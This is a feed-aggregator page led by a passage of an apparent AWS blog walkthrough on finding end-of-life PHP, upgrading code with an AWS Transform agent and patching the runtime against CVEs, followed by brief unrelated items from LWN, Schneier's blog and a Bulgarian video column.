PHP 8.1 or older No release fixes these branches. PHP published minimal source backports for 7.4 to 8.1 as a stopgap for people who build from source. First, check whether your distribution or LTS vendor ships backported fixes. Otherwise, migrate to 8.4 or 8.5. PHP 8.2 reaches end of life on December 31, 2026, and PHP 8.3 reaches end of life on December 31, 2027. Until you migrate, apply the interim controls in the bulletin and the AWS WAF post. Your code might need changes first. The rest of this post covers those changes.
PHP you cannot find Build the inventory first. Use Amazon Inspector, AWS Systems Manager Inventory, and your container registries.

For PHP 8.1 or older, upgrading the code doesn’t fix the CVEs by itself. Instead, the upgrade removes the blocker that prevents you from updating the runtime, which is an application that breaks on a supported PHP version.

Solution overview

The solution works in three steps. Continuous modernization first analyzes your repositories and returns findings. A managed transformation then upgrades the code from those findings and validates the result on a patched PHP runtime. Finally, you patch and restart the runtime itself, which is the step that remediates the CVEs. The following diagram shows the flow.

Diagram showing repositories analyzed by AWS Transform continuous modernization, findings remediated by a managed PHP upgrade transformation, the upgraded branch validated on a patched PHP release, and the runtime patched and restarted.

Figure 1: Analysis, upgrade, and patch flow with AWS Transform continuous modernization

The walkthrough covers the following steps:

  1. Analyze your repositories for end-of-life PHP.
  2. Upgrade the code from the findings.
  3. Patch and restart the runtime.

Explore the sample application

This walkthrough uses a sample application so that you can follow along. Later, you can apply the same three steps to your own code. The sample is a PHP 7.4 application that represents common pre-8.0 codebases, with five small classes and seven PHPUnit tests. It includes the three kinds of breakage that you find in real code. The following table shows these kinds of breakage.

Kind Example in the sample What PHP 8 does
Removed or stricter, fails to parse or run $text{0}, create_function(), each(), count(null) Parse error, fatal error or TypeError
Silent behavior change 0 == "abc" in Matcher::isZeroLike No error, a different result. Only a test notices
Deprecated Implicit nullable parameter, dynamic properties, "${var}" Deprecation notices on 8.2 to 8.4

Silent behavior changes are the hardest to detect. The code runs without errors, but it returns a different result.

Prerequisites

To follow this walkthrough, you need the following:

  • An AWS account and the AWS Transform CLI 3.20.0 or later (check with atx --version) in a supported AWS Region. For setup and authentication, refer to Getting started with continuous modernization.
  • AWS credentials with the AWSTransformCustomFullAccess managed policy.
  • Node.js 22 or later, Git, and jq. You also need Docker, or a patched PHP on your target branch, on the machine that runs step 2: the transformation validates its work on one of them.
  • The transformation installs nothing on the host. If the machine has no PHP and no Docker, or its only PHP is on a branch older than your target, the preflight stops the run before any migration work and names what is missing. If its only PHP is an unpatched release of your target branch and there is no Docker, it validates on that PHP instead, writes NOT a patched … interpreter and reports Success with warnings. Install Docker or a patched PHP to avoid both cases.
  • Throwaway clones of your repositories. You also need a disposable machine for step 2 because the agent runs commands there unattended. AWS/php-version-upgrade is in public early access, so test it in a non-production environment first.
  • A target branch of 8.4 or 8.5. Export it as TARGET because every command in this post uses it.

The sample application lives in the guide folder, so clone it once:

git clone https://github.com/aws-samples/aws-transform-custom-samples
export GUIDE="$PWD/aws-transform-custom-samples/community-sourced-transformations/php2shell-patch-and-verify"
export TARGET=8.5 # or 8.4; see "Check the upgraded branch before you ship"

A local continuous modernization source is a folder of Git repositories. Create that folder first. The following commands set it up with the sample application. To use your own code instead, point REPO at your own repository folder.

mkdir -p ~/repos
cp -R "$GUIDE/samples/legacy-php-app" ~/repos/
export REPO=legacy-php-app # your repository folder name under ~/repos
git -C ~/repos/$REPO init -q
git -C ~/repos/$REPO add -A
git -C ~/repos/$REPO commit -qm "baseline before the upgrade"

If you use a host PHP instead of Docker, install the patched release on Amazon Linux 2023:

sudo dnf install -y --releasever=2023.12.20261021 php$TARGET-cli php$TARGET-xml php$TARGET-mbstring composer
php -v # 8.5.12 or later (8.4.27 or later for 8.4)

Step 1: Analyze your repositories for end-of-life PHP

In this step, you connect your repositories to continuous modernization and run two analyses. You use the atx ct command group, which runs continuous modernization.

To run the analysis

Add the folder as a source and scan it. Then run the rapid and comprehensive analyses and list the open findings:

atx ct source add --name my-php --provider local --path ~/repos
atx ct discovery scan --source my-php
atx ct analysis run --type rapid-techdebt-analysis --source my-php --wait # 1 to 2 minutes
atx ct analysis run --type tech-debt-comprehensive --source my-php --wait # 5 to 10+ minutes
atx ct findings list --source my-php --status open --json

Run both analyses because they answer different questions. The rapid scan reads only composer.json and takes 1 to 2 minutes per repository, which makes it a good first sweep to find the repositories in your estate that run an end-of-life PHP version. The comprehensive analysis reads the code itself and takes 5 to 10 minutes or more, but it’s the analysis that finds the silent behavior changes.

On the sample, the rapid scan returned one high-severity finding named “PHP Version Upgrade” with AWS/php-version-upgrade as its fix. The comprehensive analysis returned between 6 and 11 findings, depending on the run, including removed constructs such as create_function() and each(), silent behavior changes, and the end-of-life php >=7.4 constraint in composer.json.

Most findings name a transformation in their fix field, although some recommend a manual change instead, and step 2 acts on the findings that name AWS/php-version-upgrade.

The analysis leaves each repository on its own branch and writes an ATXDocumentation/ folder into it. Step 2 doesn’t run on a repository with uncommitted changes. Switch back to your branch, remove that folder, and confirm that the working tree is clean before you continue:

cd ~/repos/$REPO
git checkout <your-branch> # switch back from the analysis branch
rm -rf ATXDocumentation # remove the folder the analysis wrote
git status --short # commit, stash or delete anything listed
git status --porcelain # must print nothing before you continue

Step 2: Upgrade the code from the findings

In this step, you start the upgrade from the step 1 findings by using AWS/php-version-upgrade, an AWS managed transformation that is in public early access. A continuous modernization remediation passes the findings to the transformation, so the run plans around the findings and not only around the target version.

To create a remediation from the findings

Confirm the account has version 2026-11-02 or later, then collect the IDs of open findings whose fix is AWS/php-version-upgrade and create a remediation:

atx custom def list | grep -i php # AWS/php-version-upgrade, version 2026-11-02 or later
IDS=$(atx ct findings list --source my-php --status open --fix-transform AWS/php-version-upgrade --json | jq -r '[.[].id] | join(",")')
if [ -z "$IDS" ]; then echo "No open findings name AWS/php-version-upgrade: rerun step 1"; else
atx ct remediation create --ids "$IDS" --name php-upgrade \
  --transformation-name AWS/php-version-upgrade \
  -g "{\"additionalPlanContext\":\"The target PHP version is $TARGET\"}"
fi

The -g flag is accepted only together with --transformation-name. Without both, the remediation migrates to PHP 8.5 regardless of TARGET.

The command returns when the run ends, which took about 8 minutes on the sample. The atx ct remediation status --id <id> command then shows the repository as pr_open and the findings as change_ready. Do not interrupt the run, because an interrupted run stays in the running state until you cancel it. On a local source, the job runs on your machine and trusts every tool. Use the disposable machine from the prerequisites, with Docker or a patched PHP and no production credentials.

A remediation has no cost cap and no opt-out of knowledge-item extraction. If you need either, run the transformation directly:

atx custom def exec -n AWS/php-version-upgrade -p ~/repos/$REPO -x -t -d --limit 300 \
  -g "{\"additionalPlanContext\":\"The target PHP version is $TARGET\"}"

The -d flag opts the run out of knowledge-item extraction, and the --limit flag caps the agent minutes (300 is a ceiling of $10.50, not the expected cost). On the 13-file sample the direct runs used 64 to 79 agent minutes, so budget at least 100 even for a small project and raise it for a real application. A run that reaches the cap stops with exit code 2. The CLI help says it can be resumed with a higher limit, but the resume command it prints (atx --conversation-id <id> -t --limit <n> ) has to be run attended, because it cannot be combined with -x (seen on CLI 3.21.0). Otherwise rerun on a fresh clone with a higher limit, and do not merge the branch a stopped run leaves. This direct run doesn’t read the findings.

Either way, the result is a new branch. Two of its edits follow. The first replaces a construct that PHP 8 removed:

--- a/src/Initials.php
+++ b/src/Initials.php
class Initials {
    public function first($text) {
-        return $text{0};
+        return $text[0];
    }
}

The second changes the test instead of the production code, because PHP 8 returns a different result here:

--- a/tests/MatcherTest.php
+++ b/tests/MatcherTest.php
public function testZeroLikeValues() {
    $m = new Matcher();
    $this->assertTrue($m->isZeroLike(0));
-    $this->assertTrue($m->isZeroLike('abc'));
+    $this->assertFalse($m->isZeroLike('abc'));
}

Review the full diff before you merge it. The first edit is mechanical. The second is a behavior change that the upgrade made deliberately: PHP 8 changed loose comparisons on purpose, to close a class of bug that causes authentication bypasses, so ‘abc’ == 0 is now false. Version 2026-11-02 kept the PHP 8 result in all five test runs and listed the changed assertion under Behaviour changes in its run summary. Read that item, because a caller that relied on the old result changes behavior too. If the upgrade ever keeps a pre-PHP-8 result on purpose, it records the site under Security review required. Either way, check every ==, switch statement, and non-strict in_array call that handles user input.

Check the upgraded branch before you ship

Version 2026-11-02 of the managed transformation validates the upgrade for you. Confirm three things on the branch before you ship it.

The transformation validates its own work on a patched runtime. Version 2026-11-02 selects the interpreter it validates on: a host PHP on your target branch at or above that branch’s patched release, or else the official Docker image of the patched release. It installs nothing on the host. Across five test runs on November 6, 2026, every run validated on 8.4.27 or 8.5.12, and a host PHP of 8.5.3 was rejected. After the run has finished (a direct run exits with code 0, or a remediation shows the repository as pr_open), check out the upgraded branch and find the Validated on PHP line in the commit message. Set BASE to the branch you started the run from:

git branch --show-current # must be the upgraded branch, not BASE
BASE=main
git log --format=%B "$BASE..HEAD" | grep -oE 'Validated on PHP.{0,120}|NOT a patched.{0,40}'

The output must name a patched release of your target version, for example Validated on PHP 8.4.27 (security floor 8.4.27). If it prints nothing, names an unpatched release, or prints NOT a patched …, do not ship yet: run the independent verify check in the sample folder (step 3 of its README). Empty output also happens when BASE doesn’t exist or when you are still on BASE, so treat it as not verified, never as fine. The line tells you which PHP the run tested on, not which PHP you deploy on.

The transformation also writes a constraint that excludes unpatched releases. Version 2026-11-02 wrote ^8.5.12 for target 8.5 and ~8.4.27 || ^8.5.12 for target 8.4 in all five runs, and added no config.platform.php pin. Earlier versions wrote branch-level constraints such as “>=8.5”, which still admit the vulnerable releases, so check the value if you ran an older version. Confirm that your branch uses one of these constraints. Details are in the GitHub README.

Set require.php to ^8.5.12 for target 8.5, or to ~8.4.27 || ^8.5.12 for target 8.4. If composer.json sets config.platform.php, set that value to 8.5.12 (or 8.4.27), and then run composer update --lock. Composer’s generated platform_check.php file checks only the lowest version in require.php. With ^8.5.12, the application refused to start on both 8.5.11 and 8.4.27. With ~8.4.27 || ^8.5.12 it refused to start on 8.4.26 but still started on 8.5.11. In both cases, the manifest prevents an install on older PHP, although it doesn’t replace the runtime patch.

Step 3 is required whatever the run summary says, and the run summary file might not exist at all. The constraint is enforced when Composer installs, but at run time Composer’s platform_check.php checks only the lowest bound. The 8.4 outputs of the test runs booted on PHP 8.5.11, which is vulnerable (the 8.5 outputs refused it). Only step 3 closes that gap.

Step 3: Patch and restart the runtime

The previous steps prepare your code, but this step is the one that remediates the CVEs. The following table shows the action to take for each place where PHP runs.

Where PHP runs Action
Amazon Linux 2023 Upgrade every PHP package of your branch to the release in the advisory (command that follows)
Containers Rebuild on a base image with a fixed release (for example php:8.4.27-fpm) and redeploy
AWS Elastic Beanstalk Updated PHP platform versions exist for 8.2 to 8.5. Managed platform updates apply them in the next maintenance window. Otherwise update the platform version yourself
Amazon Lightsail No in-place update: create new instances from the updated blueprint and migrate
Debian, Ubuntu, RHEL, LTS builds Use your vendor’s package. The version string might not change: trust the vendor advisory
AWS Lambda No managed PHP runtime. If the runtime is yours (a custom runtime or a container image), rebuild it with a patched release and redeploy

On Amazon Linux 2023, upgrade every installed package for your branch with a quoted wildcard such as ’php8.5*’. The advisories are ALAS2023-2026-3301 for 8.2, -3302 for 8.3, -3303 for 8.4, and -3304 for 8.5. Use the quoted wildcard because dnf upgrades only installed packages, so a bare name such as php8.4 can match nothing and leave the host unpatched.

To upgrade PHP on Amazon Linux 2023

Set your branch and advisory from the table, and upgrade:

B=8.5; A=ALAS2023-2026-3304 # 8.5 shown; set your branch and advisory. Keep this shell open: later checks reuse $A
sudo dnf upgrade -y --releasever=2023.12.20261021 "php$B*"

Set session.upload_progress.enabled=0, and keep it set after patching. A separate vulnerability, CVE-2026-115560, affects session upload progress in an uncommon configuration and was still unpatched as of October 26, 2026. Because the setting is on by default, PHP recommends that you keep it disabled until its next regular release. The following paths are for Amazon Linux, and you can find yours by running php --ini and checking “Scan for additional .ini files”. A pool setting overrides php.ini, so check the pools too:

echo 'session.upload_progress.enabled=0' | sudo tee /etc/php.d/99-php2shell.ini
grep -rn 'upload_progress' /etc/php-fpm.d/ /etc/php-fpm.conf # remove any line that turns it back on
Restart every PHP-FPM pool, every web server that loads PHP, and every queue, consumer or long-running cron PHP worker, because a package upgrade does nothing for processes already in memory. Then confirm the patch. On Amazon Linux 2023, the package changelog doesn’t list the CVE IDs, so check the advisory instead. With Apache mod_php, check the version of the package that provides the Apache module and restart httpd. If the updateinfo command prints nothing on a host you believe is patched, run it again with the
--releasever value you used for the upgrade, and rely on the rpm and php-fpm -v checks.
sudo systemctl restart php-fpm httpd # use your web server's unit (nginx, for example) instead of httpd
/usr/sbin/php-fpm -v # the binary that serves requests
dnf updateinfo list --installed | grep "$A" # the advisory for your branch is installed
rpm -qf --qf '%{NAME}-%{VERSION} installed %{INSTALLTIME:date}\n' /usr/sbin/php-fpm
ps -o lstart= -p "$(pgrep -o -f 'php-fpm: master')" # must be later than the install time from the rpm command
/usr/sbin/php-fpm -i | grep session.upload_progress.enabled # Off

We ran these steps in Amazon Linux 2023 containers that started on php8.4-fpm 8.4.26 (B=8.4) and on php8.5-fpm 8.5.11 (B=8.5). Containers have no systemd, so we restarted php-fpm by starting it again directly. The workers came back on 8.4.27 and 8.5.12, with the matching advisory installed and upload progress set to Off.

Clean up

To avoid unneeded resources and charges, remove what this walkthrough created:

# The branch that the step 1 analysis wrote into each repository
cd ~/repos/$REPO && git branch # find the analysis branch, then: git branch -D <branch>
# Container images the upgrade pulled to validate on a patched PHP
docker image ls | grep -E '^(php|composer) ' # then: docker image rm <image>

If you no longer need the my-php source in continuous modernization, remove it in this order. Deleting a finding on its own requires it to be dismissed or obsolete, so --cascade-findings is simpler, and the source cannot be removed while any repository still references it:

atx ct analysis list --json | grep my-php # note each analysis id
atx ct analysis delete --id <analysis-id> --cascade-findings
atx ct repository delete --repo "my-php::<repo>" --source my-php
atx ct source remove --name my-php

Then delete the throwaway clones. Terminate the disposable machine from step 2 because it ran an agent with -t, which trusts its tools. Keep the upgraded branch until it’s reviewed and merged.

Cost

AWS Transform bills per agent minute ($0.035 as of November 6, 2026). For current rates, refer to AWS Transform pricing.

On the 13-file sample, as measured in the project’s BENCHMARKS.md on GitHub, version 2026-11-02 used about 64–79 agent minutes ($2.24–2.76) per upgrade. That’s more than earlier versions used with a host PHP (21 to 38 agent minutes). The transformation’s own instructions say its Docker path takes about three times as long as a host PHP. A larger application costs more, so start from --limit 300 and raise it for larger code. A remediation started from findings has no cost cap. Measured results per run are in the GitHub README.

Limitations

  • This solution doesn’t patch your servers or detect a compromise. Step 3 is yours. If a system was exposed while unpatched, investigate separately and rotate credentials the application could read.
  • The upgrade doesn’t prove identical behavior. Its validation runs your tests and a lint pass on a patched PHP, so it catches what your tests cover. Review the diff, and the Behaviour changes item in the run summary or commit message. Treat a missing item as unknown, not as none, before you merge.
  • The upgrade runs an AI agent with your tools trusted. Use throwaway clones and a disposable machine, review every diff, and use the inventory step to find PHP outside your connected repositories.

Conclusion

In this post, you learned how to use AWS Transform continuous modernization to find legacy PHP across your repositories, upgrade it with a managed transformation that validates the result on a patched PHP runtime, and then patch and restart the runtime. Because the analysis keeps running on a schedule, the same setup flags the next end-of-life runtime before it becomes urgent.

Of the three steps, the runtime patch and restart is the one that remediates the CVEs. The analysis and the managed upgrade are what make that patch possible for legacy code.

To get started, clone the sample from the GitHub repo and run it end to end. Then connect your own repositories to AWS Transform continuous modernization. If you have questions about applying this pattern in your organization, contact your AWS account team.

For more information, refer to the following resources:

Related posts:


About the authors

Armando Barrales

Armando Barrales

Armando is a Senior Migration and Modernization Solutions Architect at AWS, based in Mexico. Over more than 20 years in IT, he has helped organizations across Latin America and worldwide move legacy systems to the cloud. Today he focuses on application modernization and generative AI, helping customers go from idea to working solution.

Nishant Agarwal

Nishant Agarwal

Nishant is a Principal Go-to-Market Lead for AWS Transform. He helps customers use agentic AI to modernize their applications, reduce tech debt and keep their software secure and current.

Venugopalan Vasudevan

Venugopalan Vasudevan

Venugopalan is a Principal Specialist Solutions Architect at AWS. He leads generative AI initiatives that focus on Kiro, and AWS Transform. He helps customers adopt and scale AI-powered developer and modernization solutions to accelerate innovation.

[$] A new generation of futexes

Post Syndicated from corbet original https://lwn.net/Articles/1102988/

Futexes
are a kernel subsystem that provides support for fast mutexes
in user space. While futexes can indeed be fast, they are not fast enough
for a number of users. Partly as a result of that, the implementation of
futexes has grown in complexity over the years, with two basic variants
on offer. The desire for faster futexes remains, though, and that inspires
new patches, including this series
from Suleiman Souhlal
adding a third futex class called “futex PING”
for “priority inheritance next generation”.

Manjaro Project e.V. non-profit organization created

Post Syndicated from jzb original https://lwn.net/Articles/1107814/

Frank Vandermeiren has announced
the creation of the Manjaro Project e.V., a nonprofit organization in Germany
that is independent of the Manjaro GmbH & Co KG company. This is following a governance struggle that took place
earlier this year between a number of Manjaro
Linux
contributors and Philip Müller, project lead and CEO of the Manjaro
company.

At the moment, we are still working on optimizing the new development
infrastructure, which was partly necessitated by the ongoing (A.I.) bot attacks
against our old infrastructure.

However, as you may have noticed, the last Testing
Updates
and Stable
Updates
were initiated by the Manjaro Team without supervision from Philip
Müller — with special thanks to @Yochanan for his hard work!

Dennis ten Hoove has indicated
that “a transfer of company assets to the e.V. has not yet taken place“,
and the group’s next step is to ready the nonprofit for the transition and
“reach out and engage in dialogue with the company“.

Security updates for Monday

Post Syndicated from jzb original https://lwn.net/Articles/1107811/

Security updates have been issued by Debian (freedombox, kernel, libspreadsheet-xlsx-perl, network-manager-iodine, pdns-recursor, postgresql-15, radsecproxy, and sogo), Fedora (afflib, asahi-installer, below, cloc, dhcpcd, dnf5, epiphany, firefox, glib-networking, hugo, mingw-python3, mtools, mysql8.4, mysql9.7, proftpd, python-cramjam, python-fastar, python-h5io, python-PyMuPDF, python-uv-build, radicale, rubygem-loofah, rubygem-nokogiri, rust-archive-trait, rust-askalono-cli, rust-astral-html, rust-cargo-deny, rust-libcramjam0.8, rust-onefetch, rust-ptools, rust-sccache, rustup, uv, and xorg-x11-server), Gentoo (Apache HTTPD, rsync, and Tor), Oracle (cockpit, firefox, grafana, grafana-pcp, gstreamer1, gstreamer1-plugins-base, kernel, kernel-uek, mingw-libpng, nginx:1.24, perl-CGI, python3, qt5-qtbase, qt5-qtdeclarative, webkit2gtk3, xfsprogs, and xorg-x11-server), and SUSE (389-ds, aliyun-cli, amazon-ssm-agent, apache2, binutils, brotli, bun, cadvisor, chromium, gn, distribution-registry, evolution, firefox, firefox-esr, fleet-cli, fortio, gosec, hauler, hawk-apiserver, hawk2, helmsman, hugo, java-17-openjdk, jsoup, k3sup, kdeconnect-kde, kernel, krb5, kubectl-retina, kubelogin, kubeseal, kumactl, libosmocore, libyang-devel, patch, perl-mozilla-ca, pinact, prometheus-ha_cluster_exporter, python-brotli, python-graphql-core, python-Pillow, python313-Brotli, python313-pypdf, python313-uv, rqlite, rsyslog, scribus, sdbootutil-1, timoni, trivy, vifm, and warewulf4).

Usable Security at Luxury Hotels

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/11/usable-security-at-luxury-hotels.html

Interesting case study from luxury hotels. Attackers used a fake booking request to gain access to a reservations inbox, where they copied genuine refund requests and got fraudulent ones approved.

This is a good illustration why “just don’t click on links” is bad advice. It can’t work when answering strangers’ emails is the job. Even worse, in this case the guest-first culture punishes hesitation. More interesting, the case study shows that splitting security between owner, operator, and brand leaves nobody accountable. And this is exactly the setting where blaming staff becomes the convenient answer.

Т.Е. от Е.Т. – сезон 2, епизод 1

Post Syndicated from Тоест original https://www.toest.bg/t-e-ot-e-t-sezon-2-epizod-1/

Т.Е. от Е.Т. – сезон 2, епизод 1

Е.Т. се завръща в бащината къща, където вече шета „Прогресивна България“, и логично, първият епизод от новия сезон на каквото и да е това е посветен именно на тези свежи попълнения в българския обществено-политически живот. Другия път – друго. Ако има друг път. И друго.

„Т.Е. от Е.Т.“ е видеорубрика на Елена Телбис, в която тя си говори каквото си иска, както правят всички в тази държава. Следете я и във Facebook, Instagram и TikTok.

The collective thoughts of the interwebz